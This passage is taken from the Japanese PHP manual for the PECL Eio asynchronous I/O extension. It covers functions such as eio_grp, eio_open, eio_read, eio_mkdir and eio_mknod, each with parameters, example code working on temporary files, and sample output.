(PECL eio >= 0.3.1b)

eio_get_event_stream — 内部での libeio との通信に使う変数を表すストリームを取得する

説明

eio_get_event_stream ( ) : mixed

eio_get_event_stream() は、内部での libeio との通信に使う変数を表すストリームを取得します。 他の PECL 拡張モジュール、たとえば libevent にバインドさせたりして使うことができます。

パラメータ

この関数にはパラメータはありません。

返り値

eio_get_event_stream() は、成功した場合にストリームを返します。それ以外の場合に null を返します。

例

例1 eio を libevent とともに使う

<?php
function my_eio_poll($fd, $events, $arg) {
    /* Some libevent regulation might go here .. */
    if (eio_nreqs()) {
        eio_poll();
    }
    /* .. and here */
}

function my_res_cb($d, $r) {
    var_dump($r); var_dump($d);
}

$base = event_base_new();
$event = event_new();

$fd = eio_get_event_stream();
var_dump($fd);

eio_nop(EIO_PRI_DEFAULT, "my_res_cb", "nop data");
eio_mkdir("/tmp/abc-eio-temp", 0750, EIO_PRI_DEFAULT, "my_res_cb", "mkdir data");
/* some other eio_* calls here ... */

// set event flags
event_set($event, $fd, EV_READ /*| EV_PERSIST*/, "my_eio_poll", array($event, $base));

// set event base
event_base_set($event, $base);

// enable event
event_add($event);

// start event loop
event_base_loop($base);

/* The same will be available via buffered libevent interface */
?>

上の例の出力は、 たとえば以下のようになります。

int(3)
int(0)
string(8) "nop data"
int(0)
string(10) "mkdir data"

User Contributed Notes

There are no user contributed notes for this page.


リクエストリソースに関連づけられた直近のエラーの説明を文字列で返す

  • ≪ eio_get_event_stream
  • eio_grp_add ≫
  • PHP Manual
  • Eio 関数
  • リクエストリソースに関連づけられた直近のエラーの説明を文字列で返す

eio_get_last_error

(PECL eio >= 1.0.0)

eio_get_last_error — リクエストリソースに関連づけられた直近のエラーの説明を文字列で返す

説明

eio_get_last_error ( resource $req ) : string

eio_get_last_error() は、 req に関連づけられた直近のエラーの説明を文字列で返します。

パラメータ

req

リクエストリソース。

返り値

eio_get_last_error() は、req に関連づけられた直近のエラーの説明を文字列で返します。

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リクエストをリクエストグループに追加する

  • ≪ eio_get_last_error
  • eio_grp_cancel ≫
  • PHP Manual
  • Eio 関数
  • リクエストをリクエストグループに追加する

eio_grp_add

(PECL eio >= 0.0.1dev)

eio_grp_add — リクエストをリクエストグループに追加する

説明

eio_grp_add ( resource $grp , resource $req ) : void

eio_grp_add() は、リクエストをリクエストグループに追加します。

パラメータ

grp

eio_grp() が返すリクエストグループリソース。

req

リクエストリソース。

返り値

eio_grp_add() は値を返しません。

例

例1 リクエストのグループ化

<?php
/*
 * ファイルを開き、読んでから閉じるグループリクエストを作ります
 */

// テンポラリファイルを作って何かを書き込みます
$temp_filename = dirname(__FILE__) ."/eio-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "some data");
fclose($fp);

/* グループリクエストが終了したときに呼ばれます */
function my_grp_done($data, $result) {
 var_dump($result == 0);
 @unlink($data);
}

/* eio_open() が終わったら呼ばれます */
function my_grp_file_opened_callback($data, $result) {
 global $grp;

 // $result にはファイルディスクリプタが含まれるはずです
 var_dump($result > 0);

 // eio_read() リクエストを作ってグループに追加します
 // ファイルディスクリプタをコールバックに渡します
 $req = eio_read($result, 4, 0,
   EIO_PRI_DEFAULT, "my_grp_file_read_callback", $result);
 eio_grp_add($grp, $req);
}

/* eio_read() が終わったら呼ばれます */
function my_grp_file_read_callback($data, $result) {
 global $grp;

 // データを読みます
 var_dump($result);

 // eio_close() リクエストを作ってグループに追加します
 // $data にはファイルディスクリプタが含まれるはずです
 $req = eio_close($data);
 eio_grp_add($grp, $req);
}

// リクエストグループを作ります
$grp = eio_grp("my_grp_done", $temp_filename);
var_dump($grp);

// eio_open() リクエストを作ってグループに追加します
$req = eio_open($temp_filename, EIO_O_RDWR | EIO_O_APPEND , NULL,
  EIO_PRI_DEFAULT, "my_grp_file_opened_callback", NULL);
eio_grp_add($grp, $req);

// リクエストを処理します
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

resource(6) of type (EIO Group Descriptor)
bool(true)
string(4) "some"
bool(true)

参考

  • eio_grp() - リクエストグループを作る
  • eio_grp_cancel() - リクエストグループをキャンセルする
  • eio_grp_limit() - グループリミットを設定する

User Contributed Notes

There are no user contributed notes for this page.


リクエストグループをキャンセルする

  • ≪ eio_grp_add
  • eio_grp_limit ≫
  • PHP Manual
  • Eio 関数
  • リクエストグループをキャンセルする

eio_grp_cancel

(PECL eio >= 0.0.1dev)

eio_grp_cancel — リクエストグループをキャンセルする

説明

eio_grp_cancel ( resource $grp ) : void

eio_grp_cancel() は、 grp で指定したグループリクエストをキャンセルします。

パラメータ

grp

eio_grp() が返すリクエストグループリソース。

返り値

値を返しません。

参考

  • eio_grp() - リクエストグループを作る
  • eio_grp_add() - リクエストをリクエストグループに追加する

User Contributed Notes

There are no user contributed notes for this page.


グループリミットを設定する

  • ≪ eio_grp_cancel
  • eio_grp ≫
  • PHP Manual
  • Eio 関数
  • グループリミットを設定する

eio_grp_limit

(PECL eio >= 0.0.1dev)

eio_grp_limit — グループリミットを設定する

説明

eio_grp_limit ( resource $grp , int $limit ) : void

リクエストグループ内のリクエスト数を制限します。

パラメータ

grp

リクエストグループリソース。

limit

グループ内のリクエスト数。

返り値

値を返しません。

参考

  • eio_grp_add() - リクエストをリクエストグループに追加する

User Contributed Notes

There are no user contributed notes for this page.


リクエストグループを作る

  • ≪ eio_grp_limit
  • eio_init ≫
  • PHP Manual
  • Eio 関数
  • リクエストグループを作る

eio_grp

(PECL eio >= 0.0.1dev)

eio_grp — リクエストグループを作る

説明

eio_grp ( callable $callback , string $data = NULL ) : resource

eio_grp() は、リクエストグループを作ります。

パラメータ

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_grp() は、成功した場合にリクエストグループリソースを返します。エラー時に false を返します。

例

例1 eio_grp() の例

<?php
$temp_filename = dirname(__FILE__) ."/eio-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "some data");
fclose($fp);
$my_file_fd = NULL;

/* グループリクエストが終了したときに呼ばれます */
function my_grp_done($data, $result) {
 // もしファイルが残っていれば削除します
 @unlink($data);
}

/* テンポラリファイルを開いたときに呼ばれます */
function my_grp_file_opened_callback($data, $result) {
 global $my_file_fd, $grp;

 $my_file_fd = $result;

 $req = eio_read($my_file_fd, 4, 0,
   EIO_PRI_DEFAULT, "my_grp_file_read_callback");
 eio_grp_add($grp, $req);
}

/* ファイルを読み終えたときに呼ばれます */
function my_grp_file_read_callback($data, $result) {
 global $my_file_fd, $grp;

 var_dump($result);

 // ファイルを閉じるリクエストを作ります
 $req = eio_close($my_file_fd);

 // リクエストをグループに追加します
 eio_grp_add($grp, $req);
}

// リクエストグループを作ります
$grp = eio_grp("my_grp_done", $temp_filename);

// リクエストを作ります
$req = eio_open($temp_filename, EIO_O_RDWR | EIO_O_APPEND , NULL,
  EIO_PRI_DEFAULT, "my_grp_file_opened_callback", NULL);

// リクエストをグループに追加します
eio_grp_add($grp, $req);

// リクエストを処理します
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

string(4) "some"

参考

  • eio_grp_cancel() - リクエストグループをキャンセルする
  • eio_grp_add() - リクエストをリクエストグループに追加する

User Contributed Notes

There are no user contributed notes for this page.


Eio を初期化する

  • ≪ eio_grp
  • eio_link ≫
  • PHP Manual
  • Eio 関数
  • Eio を初期化する

eio_init

(PECL eio = 1.0.0)

eio_init — Eio を初期化する

説明

eio_init ( ) : void

eio_init() は、Eio を初期化します。 libeio と Eio 自身が使う内部構造用にメモリを確保します。 Eio 関数を使う前に eio_init() をコールしましょう。 もしコールしなくても、Eio 関数を最初にコールするときに、 内部で自動的にコールされます。

警告

この非推奨の機能は、きっと 将来 削除 されるでしょう。 Eio 1.1.0 からは eio_init() が非推奨となりました。 Eio 1.0.0 では、 » libeio の制約 があったため、もしフォークしていたなら子プロセスで 必ず eio_init() をコールしなければいけませんでした。また、子プロセスで Eio を使うのなら 親プロセスでは Eio を使わないようにしなければいけません。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


ファイルのハードリンクを作る

  • ≪ eio_init
  • eio_lstat ≫
  • PHP Manual
  • Eio 関数
  • ファイルのハードリンクを作る

eio_link

(PECL eio >= 0.0.1dev)

eio_link — ファイルのハードリンクを作る

説明

eio_link ( string $path , string $new_path , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_link() は、path へのハードリンク new_path を作ります。

パラメータ

path

リンク元のパス。

new_path

リンク先のパス。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

例

例1 eio_link() の例

<?php
$filename = dirname(__FILE__)."/symlink.dat";
touch($filename);
$link = dirname(__FILE__)."/symlink.link";
$hardlink = dirname(__FILE__)."/hardlink.link";

function my_hardlink_cb($data, $result) {
    global $link, $filename;
    var_dump(file_exists($data) && !is_link($data));
    @unlink($data);

    eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_cb", $link);
}

function my_symlink_cb($data, $result) {
    global $link, $filename;
    var_dump(file_exists($data) && is_link($data));

    if (!eio_readlink($data, EIO_PRI_DEFAULT, "my_readlink_cb", NULL)) {
        @unlink($link);
        @unlink($filename);
    }
}

function my_readlink_cb($data, $result) {
    global $filename, $link;
    var_dump($result);

    @unlink($link);
    @unlink($filename);
}

eio_link($filename, $hardlink, EIO_PRI_DEFAULT, "my_hardlink_cb", $hardlink);
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
string(%d) "%ssymlink.dat"

参考

  • eio_symlink() - シンボリックリンクを作る

User Contributed Notes

There are no user contributed notes for this page.


ファイルの状態を取得する

  • ≪ eio_link
  • eio_mkdir ≫
  • PHP Manual
  • Eio 関数
  • ファイルの状態を取得する

eio_lstat

(PECL eio >= 0.0.1dev)

eio_lstat — ファイルの状態を取得する

説明

eio_lstat ( string $path , int $pri , callable $callback , mixed $data = NULL ) : resource

eio_lstat() は、 callback の result 引数でファイルの状態を返します。

パラメータ

path

ファイルへのパス。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_lstat() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

例

例1 eio_lstat() の例

<?php
$tmp_filename = dirname(__FILE__). "/eio-file.tmp";
touch($tmp_filename);

function my_res_cb($data, $result) {
    var_dump($data);
    var_dump($result);
}

function my_open_cb($data, $result) {
    eio_close($result);
    eio_event_loop();

    @unlink($data);
}

eio_lstat($tmp_filename, EIO_PRI_DEFAULT, "my_res_cb", "eio_lstat");
eio_open($tmp_filename, EIO_O_RDONLY, NULL,
 EIO_PRI_DEFAULT, "my_open_cb", $tmp_filename);
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

string(9) "eio_lstat"
array(12) {
 ["st_dev"]=>
  int(2050)
  ["st_ino"]=>
  int(2099197)
  ["st_mode"]=>
  int(33188)
  ["st_nlink"]=>
  int(1)
  ["st_uid"]=>
  int(1000)
  ["st_gid"]=>
  int(100)
  ["st_rdev"]=>
  int(0)
  ["st_blksize"]=>
  int(4096)
  ["st_blocks"]=>
  int(0)
  ["st_atime"]=>
  int(1318235777)
  ["st_mtime"]=>
  int(1318235777)
  ["st_ctime"]=>
  int(1318235777)
}

参考

  • eio_stat() - ファイルの状態を取得する
  • eio_fstat() - ファイルの状態を取得する

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリを作る

  • ≪ eio_lstat
  • eio_mknod ≫
  • PHP Manual
  • Eio 関数
  • ディレクトリを作る

eio_mkdir

(PECL eio >= 0.0.1dev)

eio_mkdir — ディレクトリを作る

説明

eio_mkdir ( string $path , int $mode , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_mkdir() は、 mode で指定したアクセスモードでディレクトリを作ります。

パラメータ

path

新しいディレクトリへのパス。

mode

アクセスモード。例: 0755

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_mkdir() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

例

例1 eio_mkdir() の例

<?php
$temp_dirname = "eio-temp-dir";

/* eio_mkdir() が終わったら呼ばれます */
function my_mkdir_callback($data, $result) {
 if ($result == 0 && is_dir($temp_dirname)
   && !is_readable($temp_dirname)
   && is_writable($temp_dirname)) {
  echo "eio_mkdir_ok";
 }

 // ディレクトリを削除します
    if (file_exists($data))
        rmdir($temp_dirname);
}

// アクセスモード 0300 でディレクトリを作ります
eio_mkdir($temp_dirname, 0300, EIO_PRI_DEFAULT, "my_mkdir_callback", $temp_dirname);
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

eio_mkdir_ok

参考

  • eio_rmdir() - ディレクトリを削除する

User Contributed Notes

There are no user contributed notes for this page.


特殊ファイルあるいは一般ファイルを作る

  • ≪ eio_mkdir
  • eio_nop ≫
  • PHP Manual
  • Eio 関数
  • 特殊ファイルあるいは一般ファイルを作る

eio_mknod

(PECL eio >= 0.0.1dev)

eio_mknod — 特殊ファイルあるいは一般ファイルを作る

説明

eio_mknod ( string $path , int $mode , int $dev , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_mknod() は、一般ファイルや特殊ファイル (こちらのほうが頻繁にあります) を作ります。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

path

新しいノード (ファイル) へのパス。

mode

利用するパーミッションと作成するノードの型を指定します。 以下のファイルタイプ定数のひとつと、新しいノードのパーミッション (0640 など) をビット OR で組み合わせたものとなります。 ファイルタイプ定数: EIO_S_IFREG(通常ファイル)、 EIO_S_IFCHR(キャラクタファイル)、 EIO_S_IFBLK(ブロック特殊ファイル)、 EIO_S_IFIFO(FIFO - 名前付きパイプ) および EIO_S_IFSOCK(UNIX ドメインソケット)。 パーミッションの指定には EIO_S_I* 定数も使えます。

dev

ファイルタイプが EIO_S_IFCHR あるいは EIO_S_IFBLK の場合に、 新しく作るデバイスファイルのメジャー番号とマイナー番号を指定します。 それ以外の場合は無視されます。詳細は mknod(2) の man ページを参照ください。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_mknod() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

例

例1 eio_mknod() の例

<?php
// FIFO 名前付きパイプ
$temp_filename = "/tmp/eio-temp-fifo";

/* eio_mknod() が終わったら呼ばれます */
function my_mknod_callback($data, $result) {
    $s = stat($data);
    var_dump($s);

    if ($result == 0) {
        echo "eio_mknod_ok";
    }

    @unlink($data);
}

eio_mknod($temp_filename, EIO_S_IFIFO, 0,
    EIO_PRI_DEFAULT, "my_mknod_callback", $temp_filename);
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

array(26) {
  [0]=>
  int(17)
  [1]=>
  int(2337608)
  [2]=>
  int(4096)
  [3]=>
  int(1)
  [4]=>
  int(1000)
  [5]=>
  int(100)
  [6]=>
  int(0)
  [7]=>
  int(0)
  [8]=>
  int(1318241261)
  [9]=>
  int(1318241261)
  [10]=>
  int(1318241261)
  [11]=>
  int(4096)
  [12]=>
  int(0)
  ["dev"]=>
  int(17)
  ["ino"]=>
  int(2337608)
  ["mode"]=>
  int(4096)
  ["nlink"]=>
  int(1)
  ["uid"]=>
  int(1000)
  ["gid"]=>
  int(100)
  ["rdev"]=>
  int(0)
  ["size"]=>
  int(0)
  ["atime"]=>
  int(1318241261)
  ["mtime"]=>
  int(1318241261)
  ["ctime"]=>
  int(1318241261)
  ["blksize"]=>
  int(4096)
  ["blocks"]=>
  int(0)
}
eio_mknod_ok

参考

  • eio_open() - ファイルを開く

User Contributed Notes

There are no user contributed notes for this page.


何もせず、ただリクエストのサイクルを回す

  • ≪ eio_mknod
  • eio_npending ≫
  • PHP Manual
  • Eio 関数
  • 何もせず、ただリクエストのサイクルを回す

eio_nop

(PECL eio >= 0.0.1dev)

eio_nop — 何もせず、ただリクエストのサイクルを回す

説明

eio_nop ( int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_nop() は、何もせずただリクエストのサイクルを回します。 デバッグ時に有用です。

パラメータ

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_nop() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

参考

  • eio_busy() - 人為的に負荷を高くする。テストやベンチマークなどで有用

User Contributed Notes

There are no user contributed notes for this page.


終了したけれども処理されなかったリクエストの数を返す

  • ≪ eio_nop
  • eio_nready ≫
  • PHP Manual
  • Eio 関数
  • 終了したけれども処理されなかったリクエストの数を返す

eio_npending

(PECL eio >= 0.0.1dev)

eio_npending — 終了したけれども処理されなかったリクエストの数を返す

説明

eio_npending ( ) : int

eio_npending() は、終了したけれども処理されなかったリクエストの数を返します。

パラメータ

この関数にはパラメータはありません。

返り値

eio_npending() は、終了したけれども処理されなかったリクエストの数を返します。

参考

  • eio_nreqs() - 処理対象のリクエスト数を返す
  • eio_nready() - 未処理のリクエスト数を返す
  • eio_nthreads() - 現在利用中のスレッド数を返す

User Contributed Notes

There are no user contributed notes for this page.


未処理のリクエスト数を返す

  • ≪ eio_npending
  • eio_nreqs ≫
  • PHP Manual
  • Eio 関数
  • 未処理のリクエスト数を返す

eio_nready

(PECL eio >= 0.0.1dev)

eio_nready — 未処理のリクエスト数を返す

説明

eio_nready ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

eio_nready() は、未処理のリクエスト数を返します。

参考

  • eio_nreqs() - 処理対象のリクエスト数を返す
  • eio_nready()
  • eio_nthreads() - 現在利用中のスレッド数を返す

User Contributed Notes

There are no user contributed notes for this page.


処理対象のリクエスト数を返す

  • ≪ eio_nready
  • eio_nthreads ≫
  • PHP Manual
  • Eio 関数
  • 処理対象のリクエスト数を返す

eio_nreqs

(PECL eio >= 0.0.1dev)

eio_nreqs — 処理対象のリクエスト数を返す

説明

eio_nreqs ( ) : int

eio_nreqs() は、 eio_poll() を呼ぶカスタムループの中からコールされます。

パラメータ

この関数にはパラメータはありません。

返り値

eio_nreqs() は、処理対象のリクエスト数を返します。

例

例1 eio_nreqs() の例

<?php
function res_cb($data, $result) {
    var_dump($data);
    var_dump($result);
}

eio_nop(EIO_PRI_DEFAULT, "res_cb", "1");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "2");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "3");

while (eio_nreqs()) {
    eio_poll();
}
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "1"
int(0)
string(1) "3"
int(0)
string(1) "2"
int(0)

参考

  • eio_poll() - 未処理のリクエストがあるかどうかを調べる
  • eio_nready() - 未処理のリクエスト数を返す

User Contributed Notes

There are no user contributed notes for this page.


現在利用中のスレッド数を返す

  • ≪ eio_nreqs
  • eio_open ≫
  • PHP Manual
  • Eio 関数
  • 現在利用中のスレッド数を返す

eio_nthreads

(PECL eio >= 0.0.1dev)

eio_nthreads — 現在利用中のスレッド数を返す

説明

eio_nthreads ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

eio_nthreads() は、現在利用中のスレッド数を返します。

参考

  • eio_npending() - 終了したけれども処理されなかったリクエストの数を返す
  • eio_nready() - 未処理のリクエスト数を返す
  • eio_nreqs() - 処理対象のリクエスト数を返す
  • eio_set_max_idle() - アイドルスレッドの最大数を設定する
  • eio_set_max_parallel() - 最大の並列スレッド数を設定する
  • eio_set_min_parallel() - 最小の並列スレッド数を設定する

User Contributed Notes

There are no user contributed notes for this page.


ファイルを開く

  • ≪ eio_nthreads
  • eio_poll ≫
  • PHP Manual
  • Eio 関数
  • ファイルを開く

eio_open

(PECL eio >= 0.0.1dev)

eio_open — ファイルを開く

説明

eio_open ( string $path , int $flags , int $mode , int $pri , callable $callback , mixed $data = NULL ) : resource

eio_open() は、 path で指定したファイルをアクセスモード mode で開きます。

パラメータ

path

開きたいファイルへのパス。

警告

SAPI の種類によっては (PHP-FPM など)、 フルパスで指定しないと失敗します。

flags

EIO_O_* 定数のいずれか、あるいは複数の組み合わせ。 EIO_O_* 定数の意味は、C のヘッダファイル fnctl.h で定義されている O_* と同じです。デフォルトは EIO_O_RDWR です。

mode

EIO_S_I* 定数のいずれか、あるいは複数の (ビット OR による) 組み合わせ。 この定数の意味は、C のヘッダファイル » sys/stat.h で定義されている S_I* と同じです。 新しくファイルを作るときは必須で、それ以外の場合は無視されます。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_open() は、成功した場合に callback の result 引数でファイルディスクリプタを返します。 それ以外の場合は、result は -1 になります。

例

例1 eio_open() の例

<?php
$temp_filename = "eio-temp-file.tmp";

/* eio_close() が終わったら呼ばれます */
function my_close_cb($data, $result) {
 // ゼロが成功を表します
    var_dump($result == 0);
 @unlink($data);
}

/* eio_open() が終わったら呼ばれます */
function my_file_opened_callback($data, $result) {
 // $result にはファイルディスクリプタが含まれるはずです
    var_dump($result > 0);

    if ($result > 0) {
  // ファイルを閉じます
        eio_close($result, EIO_PRI_DEFAULT, "my_close_cb", $data);
        eio_event_loop();
    }
}

// 新しいファイルを読み書きできるように作ります
// オーナー以外は何もできないようにします
eio_open($temp_filename, EIO_O_CREAT | EIO_O_RDWR, EIO_S_IRUSR | EIO_S_IWUSR,
  EIO_PRI_DEFAULT, "my_file_opened_callback", $temp_filename);
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)

参考

  • eio_mknod() - 特殊ファイルあるいは一般ファイルを作る

User Contributed Notes

There are no user contributed notes for this page.


未処理のリクエストがあるかどうかを調べる

  • ≪ eio_open
  • eio_read ≫
  • PHP Manual
  • Eio 関数
  • 未処理のリクエストがあるかどうかを調べる

eio_poll

(PECL eio >= 0.0.1dev)

eio_poll — 未処理のリクエストがあるかどうかを調べる

説明

eio_poll ( ) : int

eio_poll() を使うと、特別なイベントループを実装できます。 この中で eio_nreqs() を使って、未処理のリクエストの有無を調べます。 unprocessed requests.

注意:

ユーザー空間でのイベントループを実装するときにしか使えません。

パラメータ

この関数にはパラメータはありません。

返り値

何かのリクエストを実行してそれが非ゼロを返した場合は、その値を返します。 それ以外の場合は 0 を返します。

例

例1 eio_poll() の例

<?php
function res_cb($data, $result) {
    var_dump($data);
    var_dump($result);
}

eio_nop(EIO_PRI_DEFAULT, "res_cb", "1");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "2");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "3");

while (eio_nreqs()) {
    // 何かのプロセス間通信など
    eio_poll();
}
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "1"
int(0)
string(1) "3"
int(0)
string(1) "2"
int(0)

参考

  • eio_nreqs() - 処理対象のリクエスト数を返す

User Contributed Notes

There are no user contributed notes for this page.


ファイルを、指定したオフセットから読み込む

  • ≪ eio_poll
  • eio_readahead ≫
  • PHP Manual
  • Eio 関数
  • ファイルを、指定したオフセットから読み込む

eio_read

(PECL eio >= 0.0.1dev)

eio_read — ファイルを、指定したオフセットから読み込む

説明

eio_read ( mixed $fd , int $length , int $offset , int $pri , callable $callback , mixed $data = NULL ) : resource

eio_read() は、fd が指すファイルの offset から最大 length バイトまでを読み込みます。 読み込んだデータは callback の result 引数に格納されます。

パラメータ

fd

ストリーム、ソケットリソース、あるいは数値で表したファイルディスクリプタ。

length

読み込むバイト数の最大値。

offset

ファイル内でのオフセット。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_read() は、読み込んだデータを callback 関数の result 引数に格納します。

例

例1 eio_read() の例

<?php
// テンポラリファイルを作って何かを書き込みます
$temp_filename = "eio-temp-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "1234567890");
fclose($fp);

/* eio_read() が終わったら呼ばれます */
function my_read_cb($data, $result) {
    global $temp_filename;

 // 読み込んだデータを出力します
    var_dump($result);

 // ファイルを閉じます
    eio_close($data);
    eio_event_loop();

 // テンポラリファイルを削除します
    @unlink($temp_filename);
}

/* eio_open() が終わったら呼ばれます */
function my_file_opened_callback($data, $result) {
 // $result にはファイルディスクリプタが含まれるはずです
    if ($result > 0) {
  // 3 バイト目から 5 バイト読みます
        eio_read($result, 5, 2, EIO_PRI_DEFAULT, "my_read_cb", $result);
        eio_event_loop();
    } else {
  // eio_open() が失敗
        unlink($data);
    }
}

// ファイルを読み書き用に開きます
eio_open($temp_filename, EIO_O_RDWR, NULL,
    EIO_PRI_DEFAULT, "my_file_opened_callback", $temp_filename);
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

string(5) "34567"

参考

  • eio_open() - ファイルを開く
  • eio_write() - ファイルに書き込む
  • eio_close() - ファイルを閉じる
  • eio_event_loop() - すべてのリクエストを処理し終えるまで libeio をポールする

User Contributed Notes

There are no user contributed notes for this page.


ファイルを先読みしてページキャッシュに格納する

  • ≪ eio_read
  • eio_readdir ≫
  • PHP Manual
  • Eio 関数
  • ファイルを先読みしてページキャッシュに格納する

eio_readahead

(PECL eio >= 0.0.1dev)

eio_readahead — ファイルを先読みしてページキャッシュに格納する

説明

eio_readahead ( mixed $fd , int $offset , int $length , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_readahead() は、ファイルを先読みしてページキャッシュに格納します。 それ以降の読み込みは、ディスク I/O をブロックしなくなります。詳細は READAHEAD(2) の man ページを参照ください。

パラメータ

fd

ストリーム、ソケットリソース、あるいは数値で表したファイルディスクリプタ。

offset

読み込みの開始位置。

length

読み込むバイト数。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

